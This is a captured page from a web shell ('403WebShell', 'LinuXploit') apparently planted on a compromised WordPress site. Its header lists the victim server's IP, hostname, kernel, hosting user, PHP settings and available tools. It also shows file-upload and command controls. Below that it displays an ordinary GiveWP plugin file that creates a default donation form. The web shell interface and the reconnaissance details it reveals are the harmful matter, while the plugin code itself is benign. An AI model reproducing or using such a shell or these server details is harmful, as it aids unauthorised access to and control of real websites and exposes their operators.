Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.135.247.237
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Onboarding/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Onboarding/FormRepository.php
<?php

namespace Give\Onboarding;

use Give\DonationForms\Models\DonationForm;
use Give\DonationForms\Properties\FormSettings;
use Give\DonationForms\ValueObjects\DonationFormStatus;
use Give\FormBuilder\Actions\GenerateDefaultDonationFormBlockCollection;
use Give\Log\Log;

/**
 * @since 2.8.0
 */
class FormRepository
{

    /** @var SettingsRepository */
    protected $settingsRepository;

    /** @var DefaultFormFactory */
    protected $defaultFormFactory;

    /**
     * @since 2.8.0
     *
     * @param SettingsRepositoryFactory $settingsRepositoryFactory
     * @param DefaultFormFactory        $defaultFormFactory
     */
    public function __construct(
        SettingsRepositoryFactory $settingsRepositoryFactory,
        DefaultFormFactory $defaultFormFactory
    ) {
        $this->settingsRepository = $settingsRepositoryFactory->make('give_onboarding');
        $this->defaultFormFactory = $defaultFormFactory;
    }

    /**
     * @since 2.8.0
     * @return int Form ID
     *
     */
    public function getOrMake()
    {
        return $this->getDefaultFormID() ?: $this->makeAndPersist();
    }

    /**
     * @since 2.8.0
     * @return int Form ID
     *
     */
    public function getDefaultFormID()
    {
        $formID = $this->settingsRepository->get('form_id');

        return $this->isFormAvailable($formID) ? $formID : 0;
    }

    /**
     * @since 2.8.0
     *
     * @param int $formID
     *
     * @return bool
     *
     */
    protected function isFormAvailable($formID)
    {
        $status = get_post_status($formID);

        return ! (false === $status || 'trash' == $status);
    }

    /**
     * @since 3.15.0 Create the default v3 form.
     * @since 2.8.0
     * @return int Form ID
     *
     */
    protected function makeAndPersist()
    {
        $form = new DonationForm([
            'title'    => __('GiveWP Donation Form', 'give'),
            'status'   => DonationFormStatus::PUBLISHED(),
            'settings' => FormSettings::fromArray([
                'designId' => 'multi-step',
                'designSettingsImageUrl' => GIVE_PLUGIN_URL . '/assets/dist/images/admin/onboarding/header-image.jpg',
                'designSettingsImageStyle' => 'above',
                'designSettingsImageAlt' => 'GiveWP Onboarding Donation Form',
            ]),
            'blocks'   => (new GenerateDefaultDonationFormBlockCollection())(),
        ]);

        $form->save();

        $this->settingsRepository->set('form_id', $form->id);
        $this->settingsRepository->save();

        return $form->id;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit